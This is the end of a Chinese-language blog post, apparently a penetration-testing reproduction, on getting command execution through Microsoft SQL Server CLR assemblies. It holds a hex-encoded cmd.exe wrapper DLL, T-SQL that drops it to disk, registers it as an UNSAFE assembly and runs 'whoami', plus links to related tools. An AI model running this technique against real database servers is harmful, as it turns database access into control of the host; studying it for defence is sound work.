7616974466f724578697400436c6f7365000000003743003a005c00570069006e0064006f00770073005c00530079007300740065006d00330032005c0063006d0064002e00650078006500000f20002f00430020007b0030007d00000d6f00750074007000750074000000a8d1b0181bae7940aee54017db44e16a0008b77a5c561934e0890500010111090320000104200101080401000000042000121d042001010e0320000e0500020e0e1c042001010203200002072003010e11290a062001011d1225040000123505200101122d042000123905200201080e0907031219122d1d12250801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f77730100002c27000000000000000000004e270000002000000000000000000000000000000000000000000000402700000000000000000000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004c02000000000000000000004c0234000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000000000000000000000000000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004ac010000010053007400720069006e006700460069006c00650049006e0066006f0000008801000001003000300030003000300034006200300000002c0002000100460069006c0065004400650073006300720069007000740069006f006e000000000020000000300008000100460069006c006500560065007200730069006f006e000000000030002e0030002e0030002e00300000003c000d00010049006e007400650072006e0061006c004e0061006d006500000063006d0064005f0065007800630065002e0064006c006c00000000002800020001004c006500670061006c0043006f00700079007200690067006800740000002000000044000d0001004f0072006900670069006e0061006c00460069006c0065006e0061006d006500000063006d0064005f0065007800630065002e0064006c006c0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000030002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000030002e0030002e0030002e0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000603700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
EXEC sp_OAMethod @ob, 'SaveToFile', NULL, 'c:\windows\temp\cmd_exec.dll', 2
EXEC sp_OAMethod @ob, 'Close'
EXEC sp_OADestroy @ob

image.png
然后

CREATE ASSEMBLY my_assembly FROM 'C:\windows\temp\Database3.dll' WITH PERMISSION_SET = UNSAFE;

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

image.png
复现到这里复现不下去了,脚本连接一直失败。说是要开启Windows Authentication参数来,保证正常登录
可是我去开启了 依旧一样。。。。下一次再搞吧。
MSSQL突破文章:https://mp.weixin.qq.com/s/Yh2x1QFclMzvRCoNobdaAA
工具下载和使用:https://github.com/blackarrowsec/mssqlproxy

参考文章

https://mp.weixin.qq.com/s/oSAHrOm9dHEQIJnDvvOIPg
https://teamssix.com/211027-163641.html#toc-heading-50
https://paper.seebug.org/1525/#sql-server-clr

posted @ 2022-03-26 20:11  R0ser1  阅读(323)  评论(0编辑  收藏  举报